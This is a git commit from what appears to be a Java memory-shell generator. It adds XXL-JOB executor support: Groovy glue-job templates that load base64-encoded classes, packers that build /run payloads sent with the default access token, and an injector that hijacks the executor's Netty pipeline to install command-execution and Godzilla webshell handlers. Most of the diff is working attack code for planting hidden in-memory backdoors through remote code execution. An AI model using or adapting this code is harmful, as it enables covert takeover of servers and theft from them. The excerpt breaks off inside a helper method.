feat: support xxl-job executor NettyHandler (#30)

Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
This commit is contained in:
ReaJason
2025-01-22 18:36:19 +08:00
parent 08ffa47531
commit f9eb9dafa4
51 changed files with 1042 additions and 335 deletions
+1 -1
View File
@@ -31,7 +31,7 @@ jobs:
strategy: strategy:
fail-fast: false fail-fast: false
matrix: matrix:
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux" ] middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux", xxljob ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
name: ${{ matrix.middleware }} name: ${{ matrix.middleware }}
needs: [ unit-test ] needs: [ unit-test ]
+6 -6
View File
@@ -60,12 +60,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent | | FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | | | ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | Netty | | Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|-------| |---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | x | | Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | | | Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | | | Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | | | FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow | | JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------| |----------------------|----------------------------|------------------------|------------------------|
@@ -10,6 +10,7 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
public class BootApplication { public class BootApplication {
public static void main(String[] args) { public static void main(String[] args) {
SpringApplication.run(BootApplication.class, args); SpringApplication.run(BootApplication.class, args);
} }
@@ -0,0 +1,30 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobShell extends AbstractShell {
public static final String NETTY_HANDLER = "NettyHandler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class)
);
}
}
@@ -1,7 +1,9 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
/** /**
@@ -9,6 +11,8 @@ import org.apache.commons.codec.binary.Base64;
* @since 2024/11/24 * @since 2024/11/24
*/ */
@Data @Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "GenerateResultBuilder") @Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult { public class GenerateResult {
private String shellClassName; private String shellClassName;
@@ -81,6 +81,11 @@ public enum Server {
* 中创中间件 * 中创中间件
*/ */
InforSuite(new InforSuiteShell()), InforSuite(new InforSuiteShell()),
/**
* XXL-JOB
*/
XXLJOB(new XxlJobShell())
; ;
private final AbstractShell shell; private final AbstractShell shell;
@@ -87,6 +87,10 @@ public interface Packer {
AgentJar(new AgentJarPacker()), AgentJar(new AgentJarPacker()),
XxlJob(new XxlJobPacker()),
XxlJob230(new XxlJob230Packer()),
; ;
private final Packer packer; private final Packer packer;
@@ -0,0 +1,47 @@
package com.reajason.javaweb.memshell.packer;
import com.alibaba.fastjson2.JSONObject;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJob230Packer implements Packer {
String template = "";
public XxlJob230Packer() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName());
JSONObject jsonObject = new JSONObject();
jsonObject.put("jobId", 1);
jsonObject.put("executorHandler", "demoJobHandler");
jsonObject.put("executorParams", "demoJobHandler");
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
jsonObject.put("executorTimeout", 0);
jsonObject.put("logId", 1);
jsonObject.put("logDateTime", System.currentTimeMillis());
jsonObject.put("glueType", "GLUE_GROOVY");
jsonObject.put("glueSource", source);
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
jsonObject.put("broadcastIndex", 0);
jsonObject.put("broadcastTotal", 0);
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
}
}
@@ -0,0 +1,47 @@
package com.reajason.javaweb.memshell.packer;
import com.alibaba.fastjson2.JSONObject;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobPacker implements Packer {
String template = "";
public XxlJobPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName());
JSONObject jsonObject = new JSONObject();
jsonObject.put("jobId", 1);
jsonObject.put("executorHandler", "demoJobHandler");
jsonObject.put("executorParams", "demoJobHandler");
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
jsonObject.put("executorTimeout", 0);
jsonObject.put("logId", 1);
jsonObject.put("logDateTime", System.currentTimeMillis());
jsonObject.put("glueType", "GLUE_GROOVY");
jsonObject.put("glueSource", source);
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
jsonObject.put("broadcastIndex", 0);
jsonObject.put("broadcastTotal", 0);
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
}
}
@@ -0,0 +1,30 @@
import com.xxl.job.core.handler.IJobHandler;
import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler {
public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}
public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}
public void execute() throws Exception {
String base64Str = "{{base64Str}}";
String className = "{{className}}";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
}
}
@@ -0,0 +1,42 @@
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}
public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}
public ReturnT<String> execute(String param) throws Exception {
String base64Str = "{{base64Str}}";
String className = "{{className}}";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(decodeBase64(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
return ReturnT.SUCCESS;
}
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
}
+2
View File
@@ -24,6 +24,7 @@ dependencies {
testImplementation 'org.hamcrest:hamcrest:3.0' testImplementation 'org.hamcrest:hamcrest:3.0'
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
testImplementation 'org.slf4j:slf4j-simple:2.0.16' testImplementation 'org.slf4j:slf4j-simple:2.0.16'
testImplementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
testImplementation 'net.bytebuddy:byte-buddy:1.15.1' testImplementation 'net.bytebuddy:byte-buddy:1.15.1'
testImplementation 'org.testcontainers:testcontainers:1.20.4' testImplementation 'org.testcontainers:testcontainers:1.20.4'
testImplementation 'org.testcontainers:junit-jupiter:1.20.4' testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
@@ -52,6 +53,7 @@ tasks.withType(Test).configureEach {
idea { idea {
module { module {
excludeDirs -= file('build') excludeDirs -= file('build')
excludeDirs += file('src/main')
} }
} }
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.2.0-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.2.0-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.3.0-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.3.0-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.5.0-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.5.0-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration; package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain; import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.memshell.SpringWebMvcShell;
import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.SpringWebFluxShell;
import com.reajason.javaweb.memshell.SpringWebMvcShell;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.JarPacker; import com.reajason.javaweb.memshell.packer.JarPacker;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
@@ -46,7 +46,7 @@ public class ShellAssertionTool {
shellUrl = url + urlPattern; shellUrl = url + urlPattern;
} }
GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer); GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
String content = null; String content = null;
if (packer.getPacker() instanceof JarPacker) { if (packer.getPacker() instanceof JarPacker) {
@@ -81,7 +81,7 @@ public class ShellAssertionTool {
} }
} }
public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
InjectorConfig injectorConfig = new InjectorConfig(); InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) { if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern); injectorConfig.setUrlPattern(urlPattern);
@@ -143,6 +143,8 @@ public class ShellAssertionTool {
case Velocity -> VulTool.postData(url + "/velocity", content); case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize -> VulTool.postData(url + "/java_deserialize", content); case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
case Base64 -> VulTool.postData(url + "/b64", content); case Base64 -> VulTool.postData(url + "/b64", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case XxlJob230 -> VulTool.xxlJobExecutor(url + "/run", content);
} }
} }
} }
@@ -5,6 +5,10 @@ import lombok.extern.slf4j.Slf4j;
import okhttp3.*; import okhttp3.*;
import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Assertions;
import java.io.IOException;
import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/30 * @since 2024/11/30
@@ -36,7 +40,7 @@ public class VulTool {
.build(); .build();
try (Response response = new OkHttpClient().newCall(request).execute()) { try (Response response = new OkHttpClient().newCall(request).execute()) {
System.out.println(response.body().string()); System.out.println(response.body().string());
Assertions.assertEquals(200, response.code()); assertEquals(200, response.code());
} }
} }
@@ -54,4 +58,25 @@ public class VulTool {
Assertions.assertNotEquals(404, response.code()); Assertions.assertNotEquals(404, response.code());
} }
} }
@SneakyThrows
public static void xxlJobExecutor(String url, String data) {
OkHttpClient client = new OkHttpClient();
log.info(data);
RequestBody body = RequestBody.create(data, MediaType.parse("application/json"));
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Connection", "close")
.addHeader("XXL-JOB-ACCESS-TOKEN", "default_token")
.addHeader("Content-Type", "application/json")
.build();
try (Response response = client.newCall(request).execute()) {
assertEquals(200, response.code());
Thread.sleep(1000); // wait for job execute
log.info(response.body().string());
} catch (IOException e) {
e.printStackTrace();
}
}
} }
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.xxljob;
import com.reajason.javaweb.memshell.XxlJobShell;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.DockerComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob220ContainerTest {
public static final String imageName = "xxljob/xxljob220";
@Container
public static final DockerComposeContainer<?> compose =
new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-220.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob),
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob)
);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.xxljob;
import com.reajason.javaweb.memshell.XxlJobShell;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.DockerComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob230ContainerTest {
public static final String imageName = "xxljob/xxljob230";
@Container
public static final DockerComposeContainer<?> compose =
new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-230.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob230),
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob230)
);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -22,8 +22,8 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
@Override @Override
@SuppressWarnings("all") @SuppressWarnings("all")
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof DefaultHttpRequest) { if (msg instanceof HttpRequest) {
DefaultHttpRequest request = (DefaultHttpRequest) msg; HttpRequest request = (HttpRequest) msg;
HttpHeaders headers = request.headers(); HttpHeaders headers = request.headers();
String uri = request.uri(); String uri = request.uri();
String cmd = getParameter(uri, paramName); String cmd = getParameter(uri, paramName);
@@ -44,12 +44,17 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
send(ctx, result.toString()); send(ctx, result.toString());
} else {
ctx.fireChannelRead(msg);
} }
} }
public String getParameter(String requestUrl, String paramName) throws Exception { public String getParameter(String requestUrl, String paramName) throws Exception {
URI uri = new URI(requestUrl); URI uri = new URI(requestUrl);
String query = uri.getQuery(); String query = uri.getQuery();
if (query == null) {
return null;
}
String[] kvs = query.split("&"); String[] kvs = query.split("&");
for (String kv : kvs) { for (String kv : kvs) {
String k = null; String k = null;
@@ -18,6 +18,9 @@ import java.net.URLClassLoader;
import java.net.URLDecoder; import java.net.URLDecoder;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
*/
@ChannelHandler.Sharable @ChannelHandler.Sharable
public class GodzillaNettyHandler extends ChannelDuplexHandler { public class GodzillaNettyHandler extends ChannelDuplexHandler {
public static String key; public static String key;
@@ -25,15 +28,15 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
public static String md5; public static String md5;
public static String headerName; public static String headerName;
public static String headerValue; public static String headerValue;
private StringBuilder requestBody = new StringBuilder(); private final StringBuilder requestBody = new StringBuilder();
private DefaultHttpRequest request; private HttpRequest request;
private static Class<?> payload; private static Class<?> payload;
private static Class<?> defClass(byte[] classbytes) throws Exception { private static Class<?> defineClass(byte[] bytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true); method.setAccessible(true);
return (Class<?>) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); return (Class<?>) method.invoke(urlClassLoader, bytes, 0, bytes.length);
} }
public byte[] x(byte[] s, boolean m) { public byte[] x(byte[] s, boolean m) {
@@ -48,11 +51,11 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
@Override @Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof DefaultHttpRequest) { if (msg instanceof HttpRequest) {
request = (DefaultHttpRequest) msg; request = (HttpRequest) msg;
HttpHeaders headers = request.headers(); HttpHeaders headers = request.headers();
String value = headers.get(headerName); String value = headers.get(headerName);
if (value == null || !value.equals(headerValue)) { if (value == null || !value.contains(headerValue)) {
ctx.fireChannelRead(msg); ctx.fireChannelRead(msg);
return; return;
} }
@@ -64,7 +67,7 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
String value = headers.get(headerName); String value = headers.get(headerName);
// quick fail,防止其他哥斯拉马打进来走这个逻辑寄了 // quick fail,防止其他哥斯拉马打进来走这个逻辑寄了
if (value == null || !value.equals(headerValue)) { if (value == null || !value.contains(headerValue)) {
ctx.fireChannelRead(msg); ctx.fireChannelRead(msg);
return; return;
} }
@@ -77,7 +80,7 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
requestBody.setLength(0); requestBody.setLength(0);
byte[] data = x(base64Decode(base64Str), false); byte[] data = x(base64Decode(base64Str), false);
if (payload == null) { if (payload == null) {
payload = defClass(data); payload = defineClass(data);
send(ctx, ""); send(ctx, "");
return; return;
} else { } else {
@@ -35,18 +35,14 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
public SpringWebFluxNettyHandlerInjector() { public SpringWebFluxNettyHandlerInjector() {
try { try {
Object nettyServer = getNettyServer(); Object nettyServer = getNettyServer();
Object handler = getShell(); handlerClass = getShellClass();
inject(nettyServer, handler); inject(nettyServer);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
} }
private Object handler; private Class<?> handlerClass;
public SpringWebFluxNettyHandlerInjector(Object handler) {
this.handler = handler;
}
public Object getNettyServer() throws Exception { public Object getNettyServer() throws Exception {
ThreadGroup group = Thread.currentThread().getThreadGroup(); ThreadGroup group = Thread.currentThread().getThreadGroup();
@@ -61,29 +57,22 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
return null; return null;
} }
private Object getShell() throws Exception { private Class<?> getShellClass() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try { try {
interceptor = classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
} }
return interceptor;
} }
public void inject(Object nettyServer, Object handler) { public void inject(Object nettyServer) throws Exception {
try { Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config");
Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config"); setFieldValue(config, "doOnChannelInit", this);
this.handler = handler; System.out.println("netty handler injected successfully");
setFieldValue(config, "doOnChannelInit", this);
System.out.println("netty handler injected successfully");
} catch (Exception ignored) {
}
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -149,6 +138,10 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
@Override @Override
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) { public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) {
ChannelPipeline pipeline = channel.pipeline(); ChannelPipeline pipeline = channel.pipeline();
pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handler)); try {
pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handlerClass.newInstance()));
} catch (Exception e) {
e.printStackTrace();
}
} }
} }
@@ -0,0 +1,172 @@
package com.reajason.javaweb.memshell.xxljob.injector;
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.HttpObjectAggregator;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
static {
new XxlJobNettyHandlerInjector();
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public XxlJobNettyHandlerInjector() {
try {
handlerClass = getShellClass();
inject();
} catch (Exception e) {
e.printStackTrace();
}
}
private Class<?> handlerClass;
@Override
protected void initChannel(SocketChannel channel) throws Exception {
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
.addLast(channelHandler)
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
0,
200,
60L,
TimeUnit.SECONDS,
new LinkedBlockingQueue<>(2000),
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
(r, executor) -> {
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
})));
}
private Class<?> getShellClass() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
return classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
}
public void inject() throws Exception {
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
} catch (Exception e) {
continue;
}
if (target.getClass().getName().endsWith("NioEventLoop")) {
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
setFieldValue(embedHttpServerHandler, "childHandler", this);
System.out.println("xxl-job NettyHandler inject successful");
break;
}
}
}
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
